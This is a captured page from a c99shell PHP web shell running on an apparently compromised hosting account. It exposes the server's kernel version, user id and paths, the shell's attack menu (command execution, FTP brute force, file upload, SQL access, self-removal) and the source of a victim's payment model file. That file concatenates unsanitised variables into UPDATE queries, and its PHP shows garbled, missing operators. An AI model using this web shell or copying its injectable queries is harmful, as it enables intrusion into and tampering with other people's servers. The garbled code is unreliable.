smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/models/   drwxr-xr-x
Free 3429.4 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Payment_model.php (1.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Payment_model extends CI_Model

{

    public function 
getUserByEmail($email) {

        
$result $this->db->get_where('users', array('email' => $email))->result_array();

        return 
count($result) > $result[0] : null;

    }

    public function 
insertTransaction($type,$user_id$btc false$paypal false) {

        return 
$this->db->insert('transactions', array(

            
"id" => null,

            
"type" => $type,

            
"user" => $user_id,

            
"time" => time(),

            
"btc" => $btc 0,
            
"paypal" => $paypal 0

        
));

    }

    public function 
insertPayment($amount,$method,$user_id$btc false$paypal false) {

        
$this->db->insert('payments', array(

            
"id" => null,

            
"amount" => $amount,

            
"method" => $method,

            
"user" => $user_id,

            
"time" => time(),

            
"btc" => $btc 0,

            
"paypal" => $paypal 0

        
));

        return 
$this->db->insert_id();

    }

    public function 
getPendingPayment($id) {

        return 
$this->db->get_where("payments", array("id" => $id"status" => 0))->result_array()[0];

    }

    public function 
acceptPayment($payment_id$amount$method$user_id$btc false$paypal false) {

        
$this->db->query("UPDATE payments SET status = 1 WHERE id = $payment_id");

        
$this->db->query("UPDATE users SET balance = balance + $amount WHERE id = $user_id");

        
$this->insertTransaction("add_balance:$method:$amount",$user_id$btc$paypal);

    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0045 ]--